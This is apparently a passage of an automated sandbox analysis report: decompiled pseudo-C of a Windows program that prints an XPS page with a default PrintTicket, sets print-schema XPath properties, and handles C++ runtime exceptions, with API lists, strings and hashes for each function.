						}
					}
					if( *(_t164 - 0x274) >= 0) {
						 *(_t164 - 0x2ac) = 0x14;
						 *((intOrPtr*)(_t164 - 0x2a8)) = L"Document with Single PrintTicket";
						 *(_t164 - 0x2a4) = 0;
						 *(_t164 - 0x2a0) = 0;
						 *(_t164 - 0x29c) = 0;
						if(StartDocW( *(_t164 - 0x278), _t164 - 0x2ac) <= 0) {
							_push(GetLastError());
							_t124 = E01141730(_t141);
							_t167 = _t167 + 4;
							 *(_t164 - 0x274) = _t124;
						} else {
							 *(_t164 - 0x28c) = 1;
						}
					}
					if( *(_t164 - 0x274) >= 0) {
						_t141 =  *(_t164 - 0x278);
						if(StartPage( *(_t164 - 0x278)) <= 0) {
							_push(GetLastError());
							_t120 = E01141730(_t141);
							_t167 = _t167 + 4;
							 *(_t164 - 0x274) = _t120;
						} else {
							 *(_t164 - 0x290) = 1;
						}
					}
					if( *(_t164 - 0x274) >= 0) {
						_t141 =  *(_t164 - 0x278);
						if(ExtEscape( *(_t164 - 0x278), 0x101a,  *(_t164 - 0x294),  *(_t164 - 0x280), 0, 0) <= 0) {
							_push(GetLastError());
							_t116 = E01141730(_t141);
							_t167 = _t167 + 4;
							 *(_t164 - 0x274) = _t116;
						}
					}
					if( *(_t164 - 0x274) >= 0) {
						_t145 = 0x19;
						memcpy(_t164 - 0x68, L"This page is associated with default Print Ticket", _t145 << 2);
						_t107 = E0114943A(_t164 - 0x68);
						_t167 = _t167 + 0x10;
						_t141 =  *(_t164 - 0x278);
						if(TextOutW( *(_t164 - 0x278), 0xc8, 0xc8, _t164 - 0x68, _t107) == 0) {
							_push(GetLastError());
							_t112 = E01141730(_t141);
							_t167 = _t167 + 4;
							 *(_t164 - 0x274) = _t112;
						}
					}
					if( *(_t164 - 0x290) != 0) {
						EndPage( *(_t164 - 0x278));
					}
					if( *(_t164 - 0x28c) != 0) {
						EndDoc( *(_t164 - 0x278));
					}
					if( *(_t164 - 0x278) != 0) {
						_t141 =  *(_t164 - 0x278);
						DeleteDC( *(_t164 - 0x278));
						 *(_t164 - 0x278) = 0;
					}
					__imp__CoTaskMemFree( *(_t164 - 0x284));
					 *(_t164 - 0x284) = 0;
					if( *(_t164 - 0x280) != 0) {
						if( *(_t164 - 0x280) != 0) {
							LocalFree( *(_t164 - 0x280));
						}
						 *(_t164 - 0x280) = 0;
					}
					if( *(_t164 - 0x27c) != 0) {
						_t151 =  *( *(_t164 - 0x27c));
						_t141 =  *(_t151 + 8);
						 *( *(_t151 + 8))( *(_t164 - 0x27c));
						 *(_t164 - 0x27c) = 0;
					}
					_push(_t164 - 0x270);
					E011430C0(_t141);
					_pop(_t157);
					_pop(_t162);
					return E0114942B(_t140,  *(_t164 - 4) ^ _t164, _t164 - 0x270, _t157, _t162);
				}
				_t148 = _t164 - 0x268;
				 *(_t164 - 0x278) = CreateDCW(0, _t164 - 0x268, 0, 0);
				if( *(_t164 - 0x278) != 0) {
					goto L11;
				}
				 *((intOrPtr*)(_t164 - 0x288)) = GetLastError();
				E01148840(_t148, 0x6c);
				_t172 = _t167 + 4;
				if( *((intOrPtr*)(_t164 - 0x288)) == 0x709) {
					E01148840(_t148, 0x6a);
					_t172 = _t172 + 4;
				}
				_push( *((intOrPtr*)(_t164 - 0x288)));
				_t132 = E01141730(_t141);
				_t167 = _t172 + 4;
				 *(_t164 - 0x274) = _t132;
				goto L11;
			}

APIs

CreateDCW.GDI32(00000000,?,00000000,00000000), ref: 01142DF7
GetLastError.KERNEL32(?,?,?,00000100,Microsoft XPS Document Writer), ref: 01142E0C
StartDocW.GDI32(00000000,00000014), ref: 01142ED7
StartPage.GDI32(00000000), ref: 01142F12

Part of subcall function 01143110: LocalFree.KERNEL32(00000000,00000100,Microsoft XPS Document Writer), ref: 01143164

GetLastError.KERNEL32 ref: 01142EED
GetLastError.KERNEL32 ref: 01142F28
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01142F64
GetLastError.KERNEL32 ref: 01142F6E
TextOutW.GDI32(00000000,000000C8,000000C8,00000000,00000000,Microsoft XPS Document Writer), ref: 01142FBD
GetLastError.KERNEL32 ref: 01142FC7
EndPage.GDI32(00000000), ref: 01142FEC
EndDoc.GDI32(00000000), ref: 01143002
DeleteDC.GDI32(00000000), ref: 01143018
CoTaskMemFree.OLE32(00000000,?,00000100,Microsoft XPS Document Writer), ref: 0114302F
LocalFree.KERNEL32(00000000), ref: 01143058

Strings

Microsoft XPS Document Writer, xrefs: 01142D3F
Document with Single PrintTicket, xrefs: 01142EA1
This page is associated with default Print Ticket, xrefs: 01142F91

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ErrorLast$Free$LocalPageStart$CreateDeleteEscapeTaskText
String ID: Document with Single PrintTicket$Microsoft XPS Document Writer$This page is associated with default Print Ticket
API String ID: 2387885133-3841100957
Opcode ID: 13c9540a34254a7fbe2afcae9c10534572fa6f00684c4daa5489a0da9b185a77
Instruction ID: ff1a292e1001e683e61407ed8c0039f02c179021e96e10f6e7ea7206c489c639
Opcode Fuzzy Hash: 13c9540a34254a7fbe2afcae9c10534572fa6f00684c4daa5489a0da9b185a77
Instruction Fuzzy Hash: 6FB14DB1D0522ADBEF68EB70DC4DB9AB774AB04B09F0046E8E11DA7180DB755AC8CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01142230, Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(SelectionLanguage), ref: 01142242
SysAllocString.OLEAUT32(XPath), ref: 01142250
SysAllocString.OLEAUT32(SelectionNamespaces), ref: 0114225E
SysAllocString.OLEAUT32( xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework" ), ref: 0114226C
VariantInit.OLEAUT32(?), ref: 011422C0
VariantInit.OLEAUT32(?), ref: 01142313
SysFreeString.OLEAUT32(00000000), ref: 01142388
SysFreeString.OLEAUT32(00000000), ref: 01142398
SysFreeString.OLEAUT32(00000000), ref: 011423A8
SysFreeString.OLEAUT32(00000000), ref: 011423B8

Strings

XPath, xrefs: 0114224B
xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework" , xrefs: 01142267
SelectionNamespaces, xrefs: 01142259
SelectionLanguage, xrefs: 0114223D

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: String$AllocFree$InitVariant
String ID: xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework" $SelectionLanguage$SelectionNamespaces$XPath
API String ID: 1538505634-1642637475
Opcode ID: 1e97d573ccca10d43dee79f7d2c7724782c5008d62a8735c432aa932a5834342
Instruction ID: 421c2c1c78b1efb20ffc56ab0fd365c195875264daad29a8a28bcfe477487d3f
Opcode Fuzzy Hash: 1e97d573ccca10d43dee79f7d2c7724782c5008d62a8735c432aa932a5834342
Instruction Fuzzy Hash: 98510674901209EFDB18DFA8E588BAEBBB1FF49304F208169F919A7354D7749A81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01147410, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E01147410(intOrPtr __ecx) {
				void* __esp;
				intOrPtr _t29;
				void* _t61;

				_pop(_t61);
				 *((intOrPtr*)(_t61 - 4)) = __ecx;
				 *( *((intOrPtr*)(_t61 - 4)) + 0xc) =  *(_t61 + 8) & 0x00000017;
				_t29 =  *((intOrPtr*)(_t61 - 4));
				if(( *( *((intOrPtr*)(_t61 - 4)) + 0xc) &  *(_t29 + 0x10)) != 0) {
					if(( *(_t61 + 0xc) & 0x000000ff) == 0) {
						if(( *( *((intOrPtr*)(_t61 - 4)) + 0xc) &  *( *((intOrPtr*)(_t61 - 4)) + 0x10) & 0x00000004) == 0) {
							if(( *( *((intOrPtr*)(_t61 - 4)) + 0xc) &  *( *((intOrPtr*)(_t61 - 4)) + 0x10) & 0x00000002) == 0) {
								E01145A90(_t61 - 0x58, "ios_base::eofbit set", E01147AE0(_t61 - 0x1c, 1));
								_t29 = E0114A12A(_t61 - 0x58, 0x1167304);
							} else {
								E01145A90(_t61 - 0x44, "ios_base::failbit set", E01147AE0(_t61 - 0x14, 1));
								_t29 = E0114A12A(_t61 - 0x44, 0x1167304);
							}
						} else {
							E01145A90(_t61 - 0x30, "ios_base::badbit set", E01147AE0(_t61 - 0xc, 1));
							_t29 = E0114A12A(_t61 - 0x30, 0x1167304);
						}
					} else {
						_t29 = E0114A12A(0, 0);
					}
				}
				_push(_t61);
				return _t29;
			}

Strings

ios_base::badbit set, xrefs: 0114746E
ios_base::eofbit set, xrefs: 011474D7
ios_base::failbit set, xrefs: 011474AB

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID:
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 0-1866435925
Opcode ID: dff0c7c17d66c89094e9b593f21d3a41b71970feaac81b38c7b6ff54a2c800ff
Instruction ID: f95813b435a4cbc2b425edb8d1df995ddf22c04839fe9fa8574373443d3ba039
Opcode Fuzzy Hash: dff0c7c17d66c89094e9b593f21d3a41b71970feaac81b38c7b6ff54a2c800ff
Instruction Fuzzy Hash: 3121C975A40209EBC70DEB94DD52FBDB775FF60B04F688449E4066B580D771AB04C751

Uniqueness

Uniqueness Score: -1.00%

Function 0114E4D0, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 286
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 63%

			E0114E4D0(char* _a4, intOrPtr _a8, intOrPtr _a12, char _a16, char* _a20, char _a24, intOrPtr _a28, signed int _a32) {
				intOrPtr _v0;
				char _v5;
				char _v12;
				char _v16;
				char _v20;
				signed int* _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v64;
				intOrPtr* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t163;
				char _t164;
				intOrPtr _t165;
				void* _t166;
				char* _t174;
				void* _t175;
				signed int _t179;
				char* _t183;
				signed int _t186;
				void* _t190;
				void* _t194;
				char _t195;
				signed int* _t197;
				signed int _t198;
				intOrPtr _t200;
				signed int _t201;
				signed int _t206;
				void* _t209;
				void* _t211;
				void* _t217;
				char* _t222;
				intOrPtr _t224;
				intOrPtr _t228;
				intOrPtr _t229;
				char* _t232;
				intOrPtr _t233;
				char _t238;
				intOrPtr _t243;
				signed int* _t245;
				signed int _t246;
				signed int* _t249;
				intOrPtr* _t251;
				intOrPtr _t258;
				signed int _t260;
				intOrPtr* _t262;
				signed int* _t265;
				void* _t266;
				void* _t268;
				void* _t269;
				void* _t270;
				void* _t272;

				_t163 = _a8;
				_t249 = _a20;
				_t222 = 0;
				_v40 = 0;
				_v5 = 0;
				if(_t249[1] > 0x80) {
					_t164 =  *((intOrPtr*)(_t163 + 8));
				} else {
					_t164 =  *((char*)(_t163 + 8));
				}
				_v12 = _t164;
				if(_t164 < 0xffffffff || _t164 >= _t249[1]) {
					E0114E09C();
				}
				_t262 = _a4;
				if( *_t262 != 0xe06d7363) {
					_t165 = _a12;
					goto L62;
				} else {
					if( *((intOrPtr*)(_t262 + 0x10)) != 3 ||  *((intOrPtr*)(_t262 + 0x14)) != 0x19930520 &&  *((intOrPtr*)(_t262 + 0x14)) != 0x19930521 &&  *((intOrPtr*)(_t262 + 0x14)) != 0x19930522 ||  *((intOrPtr*)(_t262 + 0x1c)) != _t222) {
						_t165 = _a12;
						_a4 = _t165;
						goto L31;
					} else {
						_t166 = E0114C25F();
						if( *((intOrPtr*)(_t166 + 0x88)) == _t222) {
							L67:
							return _t166;
						} else {
							_t262 =  *((intOrPtr*)(E0114C25F() + 0x88));
							_t209 = E0114C25F();
							_v40 = 1;
							_a4 =  *((intOrPtr*)(_t209 + 0x8c));
							_t211 = E01156207(_t262);
							_t229 = 1;
							if(_t211 == 0) {
								E0114E09C();
							}
							if( *_t262 == 0xe06d7363 &&  *((intOrPtr*)(_t262 + 0x10)) == 3 && ( *((intOrPtr*)(_t262 + 0x14)) == 0x19930520 ||  *((intOrPtr*)(_t262 + 0x14)) == 0x19930521 ||  *((intOrPtr*)(_t262 + 0x14)) == 0x19930522) &&  *((intOrPtr*)(_t262 + 0x1c)) == _t222) {
								E0114E09C();
							}
							if( *((intOrPtr*)(E0114C25F() + 0x94)) == _t222) {
								L30:
								_t165 = _a4;
								L31:
								__eflags =  *_t262 - 0xe06d7363;
								if( *_t262 != 0xe06d7363) {
									L62:
									__eflags = _t249[3] - _t222;
									if(_t249[3] <= _t222) {
										goto L65;
									} else {
										__eflags = _a24 - _t222;
										if(__eflags != 0) {
											goto L68;
										} else {
											_push(_a32);
											_push(_a28);
											_push(_v12);
											_push(_t249);
											_push(_a16);
											_push(_t165);
											_push(_a8);
											_push(_t262);
											L72();
											goto L65;
										}
									}
								} else {
									__eflags =  *((intOrPtr*)(_t262 + 0x10)) - 3;
									if( *((intOrPtr*)(_t262 + 0x10)) != 3) {
										goto L62;
									} else {
										__eflags =  *((intOrPtr*)(_t262 + 0x14)) - 0x19930520;
										if( *((intOrPtr*)(_t262 + 0x14)) == 0x19930520) {
											L36:
											__eflags = _t249[3] - _t222;
											if(_t249[3] > _t222) {
												_t194 = E0114A39B(_t229, _t249, _a28, _v12,  &_v20,  &_v44);
												_t229 = _v20;
												_t269 = _t269 + 0x14;
												__eflags = _t229 - _v44;
												if(_t229 < _v44) {
													_t52 = _t194 + 0x10; // 0x10
													_t245 = _t52;
													_t195 = _v12;
													_v24 = _t245;
													do {
														_t55 = _t245 - 0x10; // 0x0
														_v48 = _t55;
														_t228 = _a8;
														__eflags =  *((intOrPtr*)(_t245 - 0x10)) - _t195;
														if( *((intOrPtr*)(_t245 - 0x10)) <= _t195) {
															__eflags = _t195 -  *((intOrPtr*)(_t245 - 0xc));
															if(_t195 <=  *((intOrPtr*)(_t245 - 0xc))) {
																_v16 =  *_t245;
																_t260 =  *(_t245 - 4);
																__eflags = _t260;
																_v36 = _t260;
																_t249 = _a20;
																if(_t260 > 0) {
																	_t238 = _v16;
																	do {
																		_t197 =  *( *((intOrPtr*)(_t262 + 0x1c)) + 0xc);
																		_t246 =  &(_t197[1]);
																		_t198 =  *_t197;
																		while(1) {
																			_v28 = _t198;
																			_v32 = _t246;
																			__eflags = _t198;
																			if(_t198 <= 0) {
																				goto L47;
																			}
																			_push( *((intOrPtr*)(_t262 + 0x1c)));
																			_t200 =  *_t246;
																			_push(_t200);
																			_push(_t238);
																			_v52 = _t200;
																			_t201 = E0114EE9F();
																			_t269 = _t269 + 0xc;
																			__eflags = _t201;
																			if(_t201 != 0) {
																				_push(_v40);
																				_v5 = 1;
																				E0114E408(_t228, _t262, _t262, _t228, _a4, _a16, _t249, _v16, _v52, _v48, _a28, _a32);
																				_t269 = _t269 + 0x2c;
																			} else {
																				_t198 = _v28 - 1;
																				_t238 = _v16;
																				_t246 = _v32 + 4;
																				__eflags = _t246;
																				continue;
																			}
																			L50:
																			_t245 = _v24;
																			_t195 = _v12;
																			_t229 = _v20;
																			goto L51;
																		}
																		L47:
																		_t238 = _t238 + 0x10;
																		_t206 = _v36 - 1;
																		_v16 = _t238;
																		_v36 = _t206;
																		__eflags = _t206;
																	} while (_t206 > 0);
																	goto L50;
																}
															}
														}
														L51:
														_t229 = _t229 + 1;
														_t245 = _t245 + 0x14;
														_v20 = _t229;
														_v24 = _t245;
														__eflags = _t229 - _v44;
													} while (_t229 < _v44);
													_t222 = 0;
													__eflags = 0;
												}
											}
											__eflags = _a24;
											if(__eflags != 0) {
												_push(1);
												E0114E12C(__eflags);
												_t229 = _t262;
											}
											__eflags = _v5;
											if(_v5 != 0) {
												L65:
												_t166 = E0114C25F();
												__eflags =  *((intOrPtr*)(_t166 + 0x94)) - _t222;
												if( *((intOrPtr*)(_t166 + 0x94)) != _t222) {
													E0114E09C();
												}
												goto L67;
											} else {
												__eflags = ( *_t249 & 0x1fffffff) - 0x19930521;
												if(( *_t249 & 0x1fffffff) < 0x19930521) {
													goto L65;
												} else {
													__eflags = _t249[7];
													if(_t249[7] == 0) {
														goto L65;
													} else {
														_t186 = E0114E989(_t222, _t229, _t249, _t262, _t262, _t249[7]);
														__eflags = _t186;
														if(_t186 != 0) {
															goto L65;
														} else {
															E0114C25F();
															E0114C25F();
															 *((intOrPtr*)(E0114C25F() + 0x88)) = _t262;
															_t190 = E0114C25F();
															__eflags = _a32;
															_t232 = _a4;
															_push(_t262);
															 *((intOrPtr*)(_t190 + 0x8c)) = _t232;
															if(_a32 != 0) {
																goto L70;
															} else {
																_push(_a8);
															}
															goto L71;
														}
													}
												}
											}
										} else {
											__eflags =  *((intOrPtr*)(_t262 + 0x14)) - 0x19930521;
											if( *((intOrPtr*)(_t262 + 0x14)) == 0x19930521) {
												goto L36;
											} else {
												__eflags =  *((intOrPtr*)(_t262 + 0x14)) - 0x19930522;
												if( *((intOrPtr*)(_t262 + 0x14)) != 0x19930522) {
													goto L62;
												} else {
													goto L36;
												}
											}
										}
									}
								}
							} else {
								_v24 =  *((intOrPtr*)(E0114C25F() + 0x94));
								 *((intOrPtr*)(E0114C25F() + 0x94)) = _t222;
								_t217 = E0114E989(_t222, _t229, _t249, _t262, _t262, _v24);
								_pop(_t229);
								if(_t217 != 0) {
									goto L30;
								} else {
									_t249 = _v24;
									_t293 =  *_t249 - _t222;
									if( *_t249 <= _t222) {
										L68:
										E0114E0D4();
									} else {
										_t218 = _t222;
										_a20 = _t222;
										while(E0114A587(_t218[_t249[1] + 4], _t293, 0x116a824) == 0) {
											_t222 = _t222 + 1;
											_t218 =  &(_a20[0x10]);
											_a20 =  &(_a20[0x10]);
											_t295 = _t222 -  *_t249;
											if(_t222 <  *_t249) {
												continue;
											} else {
												goto L68;
											}
											goto L69;
										}
									}
									L69:
									_push(1);
									_push(_t262);
									E0114E12C(_t295);
									_a20 = "bad exception";
									_t232 =  &_v64;
									E01149FF8(_t232,  &_a20);
									_v64 = 0x11610a4;
									E0114A12A( &_v64, 0x11676bc);
									L70:
									_push(_a32);
									L71:
									E0114A44B(_t232);
									_push(0xffffffff);
									_push(_t249);
									_push(_a16);
									_push(_a8);
									E0114ECE5(_t222, _t262, _t295);
									_t270 = _t269 + 0x10;
									_push(_t249[7]);
									_t174 = E0114E3C8(_t222, _t249, _t262, _t295);
									asm("int3");
									_t268 = _t270;
									_push(_t232);
									_push(_t232);
									_push(_t249);
									_t251 = _v80;
									if( *_t251 != 0x80000003) {
										_push(_t222);
										_push(_t262);
										_t175 = E0114C25F();
										_t121 =  &_a16; // 0xe06d7363
										_t224 =  *_t121;
										if( *((intOrPtr*)(_t175 + 0x80)) == 0) {
											L78:
											if( *((intOrPtr*)(_t224 + 0xc)) == 0) {
												E0114E09C();
											}
											_t174 = E0114A39B(_t232, _t224, _a24, _a20,  &_v16,  &_v12);
											_t233 = _v16;
											_t272 = _t270 + 0x14;
											_t243 = _v12;
											if(_t233 < _t243) {
												_t136 =  &(_t174[0xc]); // 0xc
												_t265 = _t136;
												_t174 = _a20;
												do {
													if(_t174 >=  *((intOrPtr*)(_t265 - 0xc)) && _t174 <=  *((intOrPtr*)(_t265 - 8))) {
														_t179 =  *_t265 << 4;
														if( *((intOrPtr*)(_t265[1] + _t179 - 0xc)) == 0) {
															L86:
															_t180 = _t179 + _t265[1] + 0xfffffff0;
															_t258 = _v0;
															if(( *(_t179 + _t265[1] + 0xfffffff0) & 0x00000040) == 0) {
																_push(1);
																_t154 = _t265 - 0xc; // 0x0
																E0114E408(_t224, _t265, _t258, _a4, _a8, _a12, _t224, _t180, 0, _t154, _a24, _a28);
																_t243 = _v12;
																_t272 = _t272 + 0x2c;
																_t233 = _v16;
															}
														} else {
															_t243 = _v12;
															_t224 = _a16;
															if( *((char*)( *((intOrPtr*)(_t265[1] + _t179 - 0xc)) + 8)) == 0) {
																goto L86;
															}
														}
														_t174 = _a20;
													}
													_t233 = _t233 + 1;
													_t265 =  &(_t265[5]);
													_v16 = _t233;
												} while (_t233 < _t243);
											}
										} else {
											__imp__EncodePointer(0);
											_t266 = _t175;
											if( *((intOrPtr*)(E0114C25F() + 0x80)) == _t266 ||  *_t251 == 0xe0434f4d ||  *_t251 == 0xe0434352) {
												goto L78;
											} else {
												_push(_a28);
												_push(_a24);
												_push(_t224);
												_push(_a12);
												_push(_a8);
												_push(_a4);
												_push(_t251);
												_t183 = E0114A2C4();
												_t270 = _t270 + 0x1c;
												_t174 = _t183;
												if(_t174 == 0) {
													goto L78;
												}
											}
										}
									}
									_push(_t268);
									return _t174;
								}
							}
						}
					}
				}
			}

0x0114e4d6
0x0114e4dc
0x0114e4df
0x0114e4e1
0x0114e4e4
0x0114e4ee
0x0114e4f6
0x0114e4f0
0x0114e4f0
0x0114e4f0
0x0114e4f9
0x0114e4ff
0x0114e506
0x0114e506
0x0114e50b
0x0114e514
0x0114e7d4
0x00000000
0x0114e51a
0x0114e51e
0x0114e631
0x0114e634
0x00000000
0x0114e54c
0x0114e54c
0x0114e557
0x0114e80d
0x0114e813
0x0114e55d
0x0114e562
0x0114e568
0x0114e570
0x0114e57a
0x0114e57d
0x0114e583
0x0114e586
0x0114e588
0x0114e588
0x0114e593
0x0114e5bb
0x0114e5bb
0x0114e5cb
0x0114e639
0x0114e639
0x0114e63c
0x0114e63c
0x0114e642
0x0114e7d7
0x0114e7d7
0x0114e7da
0x00000000
0x0114e7dc
0x0114e7dc
0x0114e7df
0x00000000
0x0114e7e1
0x0114e7e1
0x0114e7e4
0x0114e7e7
0x0114e7ea
0x0114e7eb
0x0114e7ee
0x0114e7ef
0x0114e7f2
0x0114e7f3
0x00000000
0x0114e7f8
0x0114e7df
0x0114e648
0x0114e648
0x0114e64c
0x00000000
0x0114e652
0x0114e652
0x0114e659
0x0114e671
0x0114e671
0x0114e674
0x0114e689
0x0114e68e
0x0114e691
0x0114e694
0x0114e697
0x0114e69d
0x0114e69d
0x0114e6a0
0x0114e6a3
0x0114e6a6
0x0114e6a6
0x0114e6a9
0x0114e6ac
0x0114e6af
0x0114e6b2
0x0114e6b8
0x0114e6bb
0x0114e6c3
0x0114e6c6
0x0114e6c9
0x0114e6cb
0x0114e6ce
0x0114e6d1
0x0114e6d7
0x0114e6da
0x0114e6dd
0x0114e6e0
0x0114e6e3
0x0114e70a
0x0114e70a
0x0114e70d
0x0114e710
0x0114e712
0x00000000
0x00000000
0x0114e6e7
0x0114e6ea
0x0114e6ec
0x0114e6ed
0x0114e6ee
0x0114e6f1
0x0114e6f6
0x0114e6f9
0x0114e6fb
0x0114e727
0x0114e72a
0x0114e746
0x0114e74b
0x0114e6fd
0x0114e703
0x0114e704
0x0114e707
0x0114e707
0x00000000
0x0114e707
0x0114e74e
0x0114e74e
0x0114e751
0x0114e754
0x00000000
0x0114e754
0x0114e714
0x0114e717
0x0114e71a
0x0114e71b
0x0114e71e
0x0114e721
0x0114e721
0x00000000
0x0114e725
0x0114e6d1
0x0114e6bb
0x0114e757
0x0114e757
0x0114e758
0x0114e75b
0x0114e75e
0x0114e761
0x0114e761
0x0114e76a
0x0114e76a
0x0114e76a
0x0114e697
0x0114e76c
0x0114e770
0x0114e772
0x0114e775
0x0114e77b
0x0114e77b
0x0114e77c
0x0114e780
0x0114e7fb
0x0114e7fb
0x0114e800
0x0114e806
0x0114e808
0x0114e808
0x00000000
0x0114e782
0x0114e789
0x0114e78e
0x00000000
0x0114e790
0x0114e790
0x0114e794
0x00000000
0x0114e796
0x0114e79a
0x0114e7a1
0x0114e7a3
0x00000000
0x0114e7a5
0x0114e7a5
0x0114e7aa
0x0114e7b4
0x0114e7ba
0x0114e7bf
0x0114e7c3
0x0114e7c6
0x0114e7c7
0x0114e7cd
0x00000000
0x0114e7cf
0x0114e7cf
0x0114e7cf
0x00000000
0x0114e7cd
0x0114e7a3
0x0114e794
0x0114e78e
0x0114e65b
0x0114e65b
0x0114e662
0x00000000
0x0114e664
0x0114e664
0x0114e66b
0x00000000
0x00000000
0x00000000
0x00000000
0x0114e66b
0x0114e662
0x0114e659
0x0114e64c
0x0114e5cd
0x0114e5d8
0x0114e5e4
0x0114e5ea
0x0114e5f0
0x0114e5f3
0x00000000
0x0114e5f5
0x0114e5f5
0x0114e5f8
0x0114e5fa
0x0114e814
0x0114e814
0x0114e600
0x0114e601
0x0114e602
0x0114e605
0x0114e621
0x0114e622
0x0114e625
0x0114e628
0x0114e62a
0x00000000
0x0114e62c
0x00000000
0x0114e62c
0x00000000
0x0114e62a
0x0114e605
0x0114e819
0x0114e819
0x0114e81b
0x0114e81c
0x0114e826
0x0114e82e
0x0114e831
0x0114e83e
0x0114e846
0x0114e84b
0x0114e84b
0x0114e84e
0x0114e84e
0x0114e853
0x0114e855
0x0114e856
0x0114e859
0x0114e85c
0x0114e861
0x0114e864
0x0114e867
0x0114e86c
0x0114e86e
0x0114e870
0x0114e871
0x0114e872
0x0114e873
0x0114e87c
0x0114e882
0x0114e883
0x0114e884
0x0114e889
0x0114e889
0x0114e893
0x0114e8dd
0x0114e8e1
0x0114e8e3
0x0114e8e3
0x0114e8f7
0x0114e8fc
0x0114e8ff
0x0114e902
0x0114e907
0x0114e909
0x0114e909
0x0114e90c
0x0114e90f
0x0114e912
0x0114e91e
0x0114e927
0x0114e93c
0x0114e942
0x0114e944
0x0114e94a
0x0114e94c
0x0114e951
0x0114e966
0x0114e96b
0x0114e96e
0x0114e971
0x0114e971
0x0114e929
0x0114e930
0x0114e937
0x0114e93a
0x00000000
0x00000000
0x0114e93a
0x0114e974
0x0114e974
0x0114e977
0x0114e978
0x0114e97b
0x0114e97e
0x0114e90f
0x0114e895
0x0114e897
0x0114e89e
0x0114e8aa
0x00000000
0x0114e8bc
0x0114e8bc
0x0114e8bf
0x0114e8c2
0x0114e8c3
0x0114e8c6
0x0114e8c9
0x0114e8cc
0x0114e8cd
0x0114e8d2
0x0114e8d5
0x0114e8d7
0x00000000
0x00000000
0x0114e8d7
0x0114e8aa
0x0114e983
0x0114e985
0x0114e988
0x0114e988
0x0114e5f3
0x0114e5cb
0x0114e557
0x0114e51e

APIs

type_info::operator==.LIBCMT ref: 0114E611
_GetRangeOfTrysToCheck.LIBCMT ref: 0114E689
___FrameUnwindToState.LIBCMT ref: 0114E85C
CallUnexpected.LIBCMT ref: 0114E867

Strings

csm, xrefs: 0114E58D
csm, xrefs: 0114E63C
csm, xrefs: 0114E50E

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: CallCheckFrameRangeStateTrysUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4282294316-393685449
Opcode ID: 551139ff99711bb8db307956b83b60162139d32ccbed4659c945111695593f40
Instruction ID: ae85427f4042161f031ed7d95b27561b8af81d1b746b373fc72031aa8ec0d9f7
Opcode Fuzzy Hash: 551139ff99711bb8db307956b83b60162139d32ccbed4659c945111695593f40
Instruction Fuzzy Hash: B1B1F07580220AEFCF28DFA8C880DAEBBB5FF14B14F04456AE50567251E7399650CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 0114D645, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 163
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 48%

			E0114D645(void* __ebx, void* __edx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4) {
				signed int _v8;
				char _v9;
				void _v508;
				long _v512;
				signed int _t16;
				short _t29;
				short _t30;
				void* _t35;
				void* _t37;
				void* _t39;
				signed int _t42;
				void* _t43;
				void* _t46;
				void* _t47;
				signed int _t56;
				void* _t59;
				void* _t60;
				void* _t63;
				void* _t64;
				intOrPtr _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t74;
